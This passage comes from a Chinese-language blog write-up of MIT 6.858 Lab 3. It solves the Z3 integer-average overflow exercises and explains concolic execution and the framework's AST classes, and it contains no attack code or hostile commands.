&lt;p&gt;由于 32 位整数加法可能存在溢出，故这里为了求得其正确的平均值，我们将其扩展为两个 33 位的位向量，完成计算后再截断回 32 位（不会导致结果错误，因为 32 位的平均值总会在 32 位内）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;## Do not change the code below.

## To compute the reference answers, we extend both a and b by one
## more bit (to 33 bits), add them, divide by two, and shrink back
## down to 32 bits.  You are not allowed to &amp;quot;cheat&amp;quot; in this way in
## your answer.
az33 = z3.ZeroExt(1, a)
bz33 = z3.ZeroExt(1, b)
real_u_avg = z3.Extract(31, 0, z3.UDiv(az33 + bz33, 2))

as33 = z3.SignExt(1, a)
bs33 = z3.SignExt(1, b)
real_s_avg = z3.Extract(31, 0, (as33 + bs33) &amp;#x2F; 2)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最后就是求解是否存在能够发生整型溢出的约束，即：是否存在这样的两个 32 位整型变量值使得其 32 位下运算结果不与真实计算结果相等：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;def printable_val(v, signed):
    if type(v) == z3.BitVecNumRef:
        if signed:
            v = v.as_signed_long()
        else:
            v = v.as_long()
    return v

def printable_model(m, signed):
    vals = {}
    for k in m:
        vals[k] = printable_val(m[k], signed)
    return vals

def do_check(msg, signed, avg, real_avg):
    e = (avg != real_avg)
    print(&amp;quot;Checking&amp;quot;, msg, &amp;quot;using Z3 expression:&amp;quot;)
    print(&amp;quot;    &amp;quot; + str(e).replace(&amp;quot;\n&amp;quot;, &amp;quot;\n    &amp;quot;))
    solver = z3.Solver()
    solver.add(e)
    ok = solver.check()
    print(&amp;quot;  Answer for %s: %s&amp;quot; % (msg, ok))

    if ok == z3.sat:
        m = solver.model()
        print(&amp;quot;  Example:&amp;quot;, printable_model(m, signed))
        print(&amp;quot;  Your average:&amp;quot;, printable_val(m.eval(avg), signed))
        print(&amp;quot;  Real average:&amp;quot;, printable_val(m.eval(real_avg), signed))
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;结果如下，Z3 求解器帮助我们找到了这样的值：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab3&#x2F;z3-solver-result.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;接下来是 Exercise 1：通过修改  &lt;code&gt;int-avg.py&lt;&#x2F;code&gt; 中的 &lt;code&gt;u_avg = ...&lt;&#x2F;code&gt; 一行，实现一个正确的函数，以在 32 位运算下正确计算出 a 与 b 的无符号平均值，不能改变操作数的位宽&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Exercise 1.&lt;&#x2F;strong&gt;  Implement a correct function to compute the unsigned average of &lt;code&gt;a&lt;&#x2F;code&gt; and &lt;code&gt;b&lt;&#x2F;code&gt; using only 32-bit arithmetic, by modifying the &lt;code&gt;u_avg = ...&lt;&#x2F;code&gt; line in &lt;code&gt;int-avg.py&lt;&#x2F;code&gt;.
For the purposes of this exercise, you are not allowed to change the bit-widths of your operands. This is meant to represent the real world, where you cannot just add one more bit to your CPU&#x27;s register width.
You may find it helpful to search online for correct ways to perform fixed-width integer arithmetic. The book &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20190915025154&#x2F;http%3A&#x2F;&#x2F;www.hackersdelight.org&#x2F;&quot;&gt;Hacker&#x27;s Delight&lt;&#x2F;a&gt; by Henry S. Warren is a particularly good source of such tricks.
Check your averaging function by re-running  &lt;strong&gt;.&#x2F;int-avg.py&lt;&#x2F;strong&gt; or&lt;strong&gt;make check&lt;&#x2F;strong&gt;. If your implementation is correct, &lt;code&gt;int-avg.py&lt;&#x2F;code&gt; should produce the message &lt;code&gt;Answer for unsigned avg: unsat&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;这里笔者给出一个比较笨的解法（毕竟笔者的脑子:  (也想不出啥聪明解法 ）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;(a &#x2F; 2) + (b &#x2F; 2) + ((a % 2) + (b % 2)) &#x2F; 2&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这个算法的思路比较简单，最初的出发点就是两数之和的平均值不会超出 232，那么我们只要先将两数分别除以2再相加就不会发生溢出了，但是奇数除以2会丢失 0.5，所以如果两个数都是奇数的话最后的结果会丢掉1，那么这里我们再将其加上即可&lt;&#x2F;p&gt;
&lt;p&gt;这里需要注意的是 Z3 &lt;strong&gt;默认为带符号运算&lt;&#x2F;strong&gt;，故这里我们应当使用 &lt;code&gt;z3.UDiv()&lt;&#x2F;code&gt; 来进行&lt;strong&gt;无符号&lt;&#x2F;strong&gt;除法运算：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;u_avg = z3.UDiv(a, 2) + z3.UDiv(b, 2) + ((a % 2) + (b % 2)) &amp;#x2F; 2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;运行 &lt;code&gt;make check&lt;&#x2F;code&gt;，成功通过 Exercise 1：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab3&#x2F;z3-unsigned-average-check.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;除了这个算法之外，笔者还了解到有一种算法是利用&lt;strong&gt;位运算&lt;&#x2F;strong&gt;来进行计算：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;(a &amp;amp; b) + ((a ^ b) &amp;gt;&amp;gt; 1)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这个算法的基本原理是先提取出&lt;strong&gt;公有部分&lt;&#x2F;strong&gt;，再计算&lt;strong&gt;私有部分的平均值&lt;&#x2F;strong&gt;，最后相加即可得到结果；这个算法也能通过 Exercise 1 ，这里就不重复贴图了&lt;&#x2F;p&gt;
&lt;p&gt;接下来是 Challenge 1：通过修改  &lt;code&gt;int-avg.py&lt;&#x2F;code&gt; 中的 &lt;code&gt;s_avg = ...&lt;&#x2F;code&gt; 一行，实现一个正确的函数，以在 32 位运算下正确计算出 a 与 b 的&lt;strong&gt;有符号平均值&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Challenge! (optional)&lt;&#x2F;em&gt;  For extra credit, figure out how to compute the average of two 32-bit &lt;em&gt;signed&lt;&#x2F;em&gt; values. Modify the &lt;code&gt;s_avg = ...&lt;&#x2F;code&gt; line in &lt;code&gt;int-avg.py&lt;&#x2F;code&gt;, and run  &lt;strong&gt;.&#x2F;int-avg.py&lt;&#x2F;strong&gt; or&lt;strong&gt;make check&lt;&#x2F;strong&gt; to check your answer. Keep in mind the direction of rounding: 3&#x2F;2=1 and -3&#x2F;2=-1, so so the average of 1 and 2 should be 1, and the average of -2 and -1 should be -1.
As you explore signed arithmetic, you may find it useful to know that Z3 has two different modulo-like operators. The first is signed modulo, which you get by using &lt;code&gt;a % b&lt;&#x2F;code&gt; in the Python Z3 API. Here, the sign of the result follows the sign of the divisor (i.e., &lt;code&gt;b&lt;&#x2F;code&gt;). For example, &lt;code&gt;-5 % 2 = 1&lt;&#x2F;code&gt;. The second is signed remainder, which you get by using &lt;code&gt;z3.SRem(a, b)&lt;&#x2F;code&gt;. Here, the sign of the result follows the sign of the dividend (i.e., &lt;code&gt;a&lt;&#x2F;code&gt;). With the same example inputs, &lt;code&gt;z3.SRem(-5, 2) = -1&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;对于带符号值的运算而言，限制在 32 位内的正确计算便没有那么简单了，若我们直接用上面的式子进行计算则很容易被 Z3 找到能导致运算结果错误的例子：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab3&#x2F;z3-signed-division-error.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;为什么在有符号除法下计算出来的结果不一致呢？这是因为在题目中MIT 非常SB地对于正数除法其选择&lt;strong&gt;向下取整&lt;&#x2F;strong&gt;，对于负数除法的截断，其选择的是&lt;strong&gt;向上取整&lt;&#x2F;strong&gt;，但我们的算法是&lt;strong&gt;正数与负数皆向下取整&lt;&#x2F;strong&gt;，因此计算结果就出现了偏差&lt;&#x2F;p&gt;
&lt;p&gt;由于正数部分没有问题，因此这里我们需要对计算结果为负数的情况进行特殊化处理，&lt;strong&gt;在结果为负数时将向下取整变为向上取整&lt;&#x2F;strong&gt;，因此最后的计算公式如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;tmp = (a &amp;amp; b) + ((a ^ b) &amp;gt;&amp;gt; 1)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;res = tmp + ((tmp &amp;gt;&amp;gt; 31) &amp;amp; (a ^ b))&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;首先按照我们原来的公式计算出向下取整的结果，接下来对其符号位进行判断，若为 1 则再判断其私有部分平均值的计算是否发生截断（即私有部分和是否为奇数），若是则说明结果发生了向下取整，此时变为向上取整即可&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;由于要对符号位进行判断，所以这里我们使用 &lt;code&gt;z3.LShR()&lt;&#x2F;code&gt; 将初始运算结果作为无符号整型进行右移操作：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;tmp = (a &amp;amp; b) + ((a ^ b) &amp;gt;&amp;gt; 1)
s_avg = tmp + (z3.LShR(tmp, 31) &amp;amp; (a ^ b))
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;运行结果如下，成功通过 Challenge 1：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;mit6858-lab3&#x2F;z3-challenge1-passed.jpg&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;0x02-interlude-what-are-symbolic-and-concolic-execution&quot;&gt;&lt;strong&gt;0x02. Interlude: what are symbolic and concolic execution?&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;正如我们前面在 EXE 的论文中所见，符号执行是一种通过观测程序在不同输入下如何表现来进行程序测试的方法，通常而言其目的是为了获得更高的 &lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Code_coverage&quot;&gt;代码覆盖率&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; （code coverage）或是&lt;strong&gt;路径覆盖率&lt;&#x2F;strong&gt; （path coverage），在安全中其比传统代码执行更能触发罕见的可能包含漏洞的代码路径&lt;&#x2F;p&gt;
&lt;p&gt;从更高层次而言，若我们要构建一个符号执行系统，我们需要解决以下几点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;由于程序包含基于输入的中间值（例如输入两个整型并计算平均值，并存放在一些变量中），我们需要记住输入与这些中间值间的关系，通常这通过允许变量或内存位置有  &lt;em&gt;具体的&lt;&#x2F;em&gt; （concrete，例如 114514 这样的实际值） 或  &lt;em&gt;符号的&lt;&#x2F;em&gt;  （symbolic，例如我们在上一小节构建的符号变量） 值&lt;&#x2F;li&gt;
&lt;li&gt;我们需要根据输入来确定要执行的控制流分支，这归结于在程序每次发生分支时构建符号约束，在程序选择一些特定分支时描述布尔条件（以程序原有输入的形式）；由于我们持续保存中间值与程序原有输入的间隙，我们并不需要通过原有输入来计算约束，这些约束就像我们在前文中用来寻找整型中漏洞的约束；确定控制流约束非常重要，因为若程序初始时进入了特定分支路径，我们想要知道如何让他走到另一条路径来寻找是否存在漏洞，在 EXE 的论文中使用了一个 C-to-C 的翻译器来在所有的分支上插入他们的代码&lt;&#x2F;li&gt;
&lt;li&gt;对于每一条上述分支，我们需要决定是否有一个输入能够让程序在一条分支上执行另一条路径（更准确地说，我们考虑整个控制流路径而非单个路径），这帮助我们在程序中寻找可以让我们通过调整输入来影响的控制流条件，所有的符号执行系统都基于 SMT 求解器来完成这些工作&lt;&#x2F;li&gt;
&lt;li&gt;我们需要确定我们在测试中寻找的是什么，这是我们从程序中确保  &lt;em&gt;不变量&lt;&#x2F;em&gt;  （invariant）来考虑的最佳方法，而符号执行寻找改变这些常量的输入（笔者也没咋读明白，可以看实验手册原句）；我们可以寻找的事物之一是&lt;strong&gt;程序崩溃&lt;&#x2F;strong&gt;（crashes，即不变量是  &lt;em&gt;我们的程序不应当崩溃&lt;&#x2F;em&gt;  ），在 C 程序中这非常有意义，因为 crashes 通常指示了代表漏洞的内存损坏，在 Python 这样更高级的语言中在设计上并不存在内存损坏，但我们仍然可以寻找如 Python 代码级的代码注入攻击（例如 &lt;code&gt;eval()&lt;&#x2F;code&gt; ）或是特定于某种应用的影响安全的不变量&lt;&#x2F;li&gt;
&lt;li&gt;最终，对于给出程序中所有可能执行的控制流路径，我们需要决定该尝试哪条路径，因为路径数量会随着程序规模的增大而快速增长，我们不可能尝试所有的路径，因此符号执行系统通常包含确定哪一条路径更有希望发现破坏不变量的某种  &lt;em&gt;调度器&lt;&#x2F;em&gt;  （scheduler）或  &lt;em&gt;搜索策略&lt;&#x2F;em&gt;  （search strategy），一个简单的搜索策略例子便是尝试未执行过的路径，这代表着更高的代码覆盖率与未被发现的漏洞的存在的可能性&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;与符号执行相对的一个选择是  &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Fuzz_testing&quot;&gt;fuzzing&lt;&#x2F;a&gt; （又称 fuzz-testing，模糊测试），其选择了一个随机化方案：不同于关注触发应用中不同代码路径的原因，fuzzing 会创建随机的具体值交给程序执行并检查其行为；虽然这比符号执行更简单，但通常很难构造能满足程序代码中一些特定情况的输入&lt;&#x2F;p&gt;
&lt;p&gt;构建符号执行系统的一个挑战是我们的系统需要知道如何在符号值上执行所有可能的操作（上面的 Step 1 &amp;amp; 2），在本 Lab 中我们将在 Python 对象（更准确地说，整型与字符串）上实践，对于符号执行而言这很有挑战性，因为 Python 对象可以实现的操作有很多&lt;&#x2F;p&gt;
&lt;p&gt;幸运的是我们还有一个更简单的选择——  &lt;em&gt;混合执行&lt;&#x2F;em&gt;  （&lt;strong&gt;concolic execution&lt;&#x2F;strong&gt;），介于完全随机的模糊测试与完全的符号执行之间，相较于跟踪纯净的符号值（如 EXE 中所做），其思想是：对于从输入中得到的变量，我们可以&lt;strong&gt;同时保存一个具体值与一个符号值&lt;&#x2F;strong&gt;，由此：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若我们的 concolic system 知道应用的行为，我们可以像符号执行那样运行（除了我们还会同时传播每个值的 concrete 部分）；例如，假设我们有两个 concolic 整型变量 &lt;code&gt;aa&lt;&#x2F;code&gt; 与 &lt;code&gt;bb&lt;&#x2F;code&gt;，其有着具体值 &lt;code&gt;5&lt;&#x2F;code&gt; 与 &lt;code&gt;6&lt;&#x2F;code&gt; ，并对应符号表达式 &lt;code&gt;a&lt;&#x2F;code&gt; 与  &lt;code&gt;b&lt;&#x2F;code&gt;，此时若应用创建了一个变量 &lt;code&gt;cc = aa + bb&lt;&#x2F;code&gt;，其会同时有着具体值 &lt;code&gt;11&lt;&#x2F;code&gt; 及符号表达式 &lt;code&gt;a + b&lt;&#x2F;code&gt;；类似地，若应用在 &lt;code&gt;cc == 12&lt;&#x2F;code&gt; 的分支上执行，程序可以像分支为假一样执行，并记录对应的符号分支条件 &lt;code&gt;a + b != 12&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;若我们的 concolic system 不知道应用的当前行为，应用将只会得到具体的值；例如若应用将 &lt;code&gt;cc&lt;&#x2F;code&gt; 写入文件中，或者是传递到外部库中，代码仍可以使用具体值 &lt;code&gt;11&lt;&#x2F;code&gt; 如同应用正常运行那样继续执行&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;对于本 lab 而言，混合执行的好处是我们并不需要完全完成对符号值的操作支持，我们只需要支持足够发现漏洞的操作即可（实际上大部分挖洞系统也是如此），不过若应用执行了我们所不支持的操作，我们将失去对符号部分的跟踪，并无法对这些路径进行符号执行式的（symbolic-execution-style）探索，若想了解更多可以参见  &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=http%3A&#x2F;&#x2F;css.csail.mit.edu&#x2F;6.858&#x2F;2022&#x2F;readings&#x2F;dart.pdf&quot;&gt;DART paper&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;0x03-concolic-execution-for-integers&quot;&gt;&lt;strong&gt;0x03. Concolic execution for integers&lt;&#x2F;strong&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;首先我们将为整型值构建一个混合执行系统，本 Lab 为我们的混合执行提供的框架代码位于 &lt;code&gt;symex&#x2F;fuzzy.py&lt;&#x2F;code&gt; 中，其实现了几个重要的抽象层：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;抽象语法树&lt;&#x2F;strong&gt;（The AST）：与此前我们在 &lt;code&gt;int-avg.py&lt;&#x2F;code&gt; 中使用 Z3 表达式来表示符号值所不同的是，本 Lab 构建了其自己的抽象语法树（abstract syntax tree）来表达符号表达式，一个 AST 节点可以是一个简单的变量（ &lt;code&gt;sym_str&lt;&#x2F;code&gt; 或 &lt;code&gt;sym_int&lt;&#x2F;code&gt; 对象）、一个常量（&lt;code&gt;const_int&lt;&#x2F;code&gt;、&lt;code&gt;const_str&lt;&#x2F;code&gt; 或 &lt;code&gt;const_bool&lt;&#x2F;code&gt; 对象）、或是一些将其他 AST 节点作为参数的函数或操作符（例如 &lt;code&gt;sym_eq(a, b)&lt;&#x2F;code&gt; 表示布尔表达式 &lt;code&gt;a==b&lt;&#x2F;code&gt;，其中 &lt;code&gt;a&lt;&#x2F;code&gt; 与 &lt;code&gt;b&lt;&#x2F;code&gt; 都是 AST 节点，或是 &lt;code&gt;sym_plus(a, b)&lt;&#x2F;code&gt; 表示整型表达式 &lt;code&gt;a + b&lt;&#x2F;code&gt;）
每个 AST 节点 &lt;code&gt;n&lt;&#x2F;code&gt; 都可以使用 &lt;code&gt;z3expr(n)&lt;&#x2F;code&gt; 转化为 Z3 表达式，这由调用 &lt;code&gt;n._z3expr&lt;&#x2F;code&gt; 完成，即每个 AST 节点都实现了返回对应 Z3 表达式的 &lt;code&gt;_z3expr&lt;&#x2F;code&gt; 方法
我们使用自己的 AST 层而非使用 Z3 的符号表示的原因是因为我们需要实现一些 Z3 表示难以完成的操作，此外我们需要分出一个独立的进程来调用 Z3 的求解器，以在 Z3 求解器耗时过长时杀死进程——将约束归为不可解（这种情况下我们可能失去这些路径，但至少我们会让程序探索其他路径）；使用我们自己的 AST 能让我们将 Z3 状态完全独立在 fork 出的进程里&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;混合封装&lt;&#x2F;strong&gt;（The concolic wrappers）：为了拦截 python-level 的操作并进行混合执行，我们将常规的 &lt;code&gt;int&lt;&#x2F;code&gt; 与 &lt;code&gt;str&lt;&#x2F;code&gt; 对象替换成了混合的子类：&lt;code&gt;concolic_int&lt;&#x2F;code&gt; 继承自 &lt;code&gt;int&lt;&#x2F;code&gt; 而 &lt;code&gt;concolic_str&lt;&#x2F;code&gt; 继承自 &lt;code&gt;str&lt;&#x2F;code&gt;，每一个混合封装都同时存储一个具体值（&lt;code&gt;self.__v&lt;&#x2F;code&gt; ）与一个符号表达式（与 AST 节点，在 &lt;code&gt;self.__sym&lt;&#x2F;code&gt;），当应用在计算混合值表达式（例如 &lt;code&gt;a+1&lt;&#x2F;code&gt; 中的 &lt;code&gt;a&lt;&#x2F;code&gt; 为 &lt;code&gt;concolic_int&lt;&#x2F;code&gt;），我们需要拦截该操作并返回一个同时包含具体值与符号表达式的的混合值
为了实现这样的拦截操作，我们重载了 &lt;code&gt;concolic_int&lt;&#x2F;code&gt; 与 &lt;code&gt;concolic_str&lt;&#x2F;code&gt; 类中的一些方法，例如 &lt;code&gt;concolic_int.__add__&lt;&#x2F;code&gt; 在上面的例子 &lt;code&gt;a + 1&lt;&#x2F;code&gt; 中会被调用并返回一个新的混合值表示结果
原则上我们应该也要有一个 &lt;code&gt;concolic_bool&lt;&#x2F;code&gt; 作为 &lt;code&gt;bool&lt;&#x2F;code&gt; 的子类，不幸的是在 Python 中 &lt;code&gt;bool&lt;&#x2F;code&gt; 不能被继承（参见&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;docs.python.org&#x2F;3&#x2F;library&#x2F;functions.html%23bool&quot;&gt;这里&lt;&#x2F;a&gt; 与 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;mail.python.org&#x2F;pipermail&#x2F;python-dev&#x2F;2002-March&#x2F;020822.html&quot;&gt;这里&lt;&#x2F;a&gt;），于是我们创建了函数 &lt;code&gt;concolic_bool&lt;&#x2F;code&gt; 作为代替，当我们创建一个混合布尔值时，程序会按其值进行分支，故 &lt;code&gt;concolic_bool&lt;&#x2F;code&gt; 也会为当前路径条件添加一个约束（布尔值的符号表达式与具体值相等的约束），并返回一个具体的布尔值&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;具体输入&lt;&#x2F;strong&gt;（The concrete inputs）：在混合执行下被测试的程序输入都存储在 &lt;code&gt;concrete_values&lt;&#x2F;code&gt; 字典中，在该字典中存储了程序输入的字符串名字，并将每个名字映射到对应的输入值（整型变量的值为python整型，字符串变量为python字符串）
&lt;code&gt;concrete_value&lt;&#x2F;code&gt; 被设为全局变量的原因是应用通过调用 &lt;code&gt;fuzzy.mk_str(name)&lt;&#x2F;code&gt; 或 &lt;code&gt;fuzzy.mk_int(name)&lt;&#x2F;code&gt; 来创建一个混合字符串或混合整型，其返回一个混合值，其中的符号部分为一个新的 AST 节点对应到一个名为 &lt;code&gt;name&lt;&#x2F;code&gt; 的变量，但具体值被在 &lt;code&gt;concrete_values&lt;&#x2F;code&gt; 中查找，若字典中没有与之关联的变量，系统将其设为默认的初始值（整型为0，字符串为空串）
混合执行框架在一个 &lt;code&gt;InputQueue&lt;&#x2F;code&gt; 对象中维持一个待尝试的不同输入的队列，框架首先会添加一个初始输入（空字典 &lt;code&gt;{}&lt;&#x2F;code&gt;），之后执行代码，若应用进入了分支，混合执行系统将唤醒 Z3 来带来 新的输入以测试代码中的其他分支，将这些输入放到输入队列中，并保持迭代直到没有输入可以尝试&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;可满足性模理论求解器&lt;&#x2F;strong&gt;（The SMT solver）： &lt;code&gt;fork_and_check(c)&lt;&#x2F;code&gt; 函数会检查约束 &lt;code&gt;c&lt;&#x2F;code&gt; （一个 AST 节点）是否为可满足的表达式，并返回一对值：可满足性状态 &lt;code&gt;ok&lt;&#x2F;code&gt; 及示例模型（分配给变量的值），若约束可以被满足则 &lt;code&gt;ok&lt;&#x2F;code&gt; 为 &lt;code&gt;z3.sat&lt;&#x2F;code&gt; ，若约束不可被满足则 &lt;code&gt;ok&lt;&#x2F;code&gt; 为 &lt;code&gt;z3.unsat&lt;&#x2F;code&gt; 或 &lt;code&gt;z3.unknown&lt;&#x2F;code&gt;；该函数内部会 fork 一个独立的进程来运行 Z3 求解器，若耗时超过 &lt;code&gt;z3_timeout&lt;&#x2F;code&gt; 则杀死进程并返回 &lt;code&gt;z3.unknown&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;当前路径条件&lt;&#x2F;strong&gt;（The current path condition）：当应用执行并基于混合值决定控制流时（参见上面关于 &lt;code&gt;concolic_bool&lt;&#x2F;code&gt; 的讨论），表示该分支的约束会被添加到 &lt;code&gt;cur_path_constr&lt;&#x2F;code&gt; 列表中，为了生成能够沿着一条分支从一个点进行不同选择的输入，所需的约束为路径上该点之前的约束集合，加上该点的反向约束；为了帮助调试与启发式搜索，触发了分支的代码行的信息会被存放在 &lt;code&gt;cur_path_constr_callers&lt;&#x2F;code&gt; 列表中&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;接下来我们的工作是完成对 &lt;code&gt;concolic_int&lt;&#x2F;code&gt; 的实现，并将代码应用于混合执行循环的核心，本 Lab 提供了两个测试程序： &lt;code&gt;check-concolic-int.py&lt;&#x2F;code&gt; 与 &lt;code&gt;check-symex-int.py&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;hun-he-zhi-xing-kuang-jia-dai-ma-qian-xi-part-1&quot;&gt;&lt;strong&gt;混合执行框架代码浅析  - Part 1&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;在做 Exercise 之前，我们先看一下这个混合执行框架的代码结构，其核心代码主要位于 &lt;code&gt;symex&#x2F;fuzzy.py&lt;&#x2F;code&gt; 中&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;AST 节点&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;首先是 AST 节点，作为所有符号类的父类而存在，定义比较简单：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;class sym_ast(object):
  def __str__(self):
    return str(self._z3expr())
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;符号运算&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;然后是 &lt;code&gt;sym_func_apply&lt;&#x2F;code&gt; 类，作为所有符号操作的父节点，这里主要重载了 &lt;code&gt;__eq__()&lt;&#x2F;code&gt; 和 &lt;code&gt;__hash__()&lt;&#x2F;code&gt; 方法，用于比较与计算哈希值，比较的方法就是判断是否所有参数相等，哈希值的计算则是所有参数的哈希值进行异或：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;class sym_func_apply(sym_ast):
  def __init__(self, *args):
    for a in args:
      if not isinstance(a, sym_ast):
        raise Exception(&amp;quot;Passing a non-AST node %s %s as argument to %s&amp;quot; % \
                        (a, type(a), type(self)))
    self.args = args

  def __eq__(self, o):
    if type(self) != type(o):
      return False
    if len(self.args) != len(o.args):
      return False
    return all(sa == oa for (sa, oa) in zip(self.args, o.args))

  def __hash__(self):
    return functools.reduce(operator.xor, [hash(a) for a in self.args])
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后是三个类 &lt;code&gt;sym_unop&lt;&#x2F;code&gt; 、&lt;code&gt;sym_binop&lt;&#x2F;code&gt; 、&lt;code&gt;sym_triop&lt;&#x2F;code&gt;，表示带有1、2、3个操作数的封装，可以使用 &lt;code&gt;a&lt;&#x2F;code&gt; 、&lt;code&gt;b&lt;&#x2F;code&gt; 、&lt;code&gt;c&lt;&#x2F;code&gt; 获得第 1、2、3个操作数：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;class sym_unop(sym_func_apply):
  def __init__(self, a):
    super(sym_unop, self).__init__(a)

  @property
  def a(self):
    return self.args[0]

class sym_binop(sym_func_apply):
  def __init__(self, a, b):
    super(sym_binop, self).__init__(a, b)

  @property
  def a(self):
    return self.args[0]

  @property
  def b(self):
    return self.args[1]

class sym_triop(sym_func_apply):
  def __init__(self, a, b, c):
    super(sym_triop, self).__init__(a, b, c)

  @property
  def a(self):
    return self.args[0]

  @property
  def b(self):
    return self.args[1]

  @property
  def c(self):
    return self.args[2]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
